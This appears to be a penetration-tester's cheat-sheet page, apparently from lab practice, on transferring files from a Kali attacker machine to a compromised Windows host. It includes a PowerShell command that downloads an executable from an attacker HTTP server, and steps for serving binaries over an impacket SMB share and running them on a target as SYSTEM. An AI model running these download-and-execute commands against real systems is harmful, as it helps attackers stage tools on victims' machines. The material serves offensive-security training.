File Transfer

Powershell

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.30:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

SMB

---------------------------------------------x-x-x-x-x-x-x-x-x-x-------------------------------------------------------------------------- Running whoami using smb ---------------------------------------------x-x-x-x-x-x-x-x-x-x-------------------------------------------------------------------------- on kali machine locate whoami will get this /usr/share/windows-resources/binaries/whoami.exe locate smbserver /usr/lib/python2.7/dist-packages/impacket/smbserver.py running a smbserver on kali machine and putting whoami.exe into /temp share

Start SMB Server and Move Whoami to TEMP

root@kali:~/MS17–010# sudo /usr/share/doc/python-impacket/examples/smbserver.py temp /usr/share/windows-binaries/

Verify if SMB Server is Running

root@kali:~/MS17–010# smbclient //10.10.14.4/temp C:\WINDOWS\system32>\\$kaliiphere\temp\whoami.exe \\10.10.14.4\temp\whoami.exe NT AUTHORITY\SYSTEM ---------------------------------------------x-x-x-x-x-x-x-x-x-x-------------------------------------------------------------------------- run smbserver from orignial dir only net view \\ip to list avaialble share names dir \\ip\shark to list contents of specific share copy \\ip\shark\filename newfilename to copy file from linux to windows python /usr/share/doc/python-impacket/examples/smbserver.py share-name root-dir-path net view \\ip-addr dir \\ip-addr\share-name copy \\ip-addr\share-name\file out-file Addons

https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65 https://academy.hackthebox.eu/course/preview/file-transfers

Last updated

Was this helpful?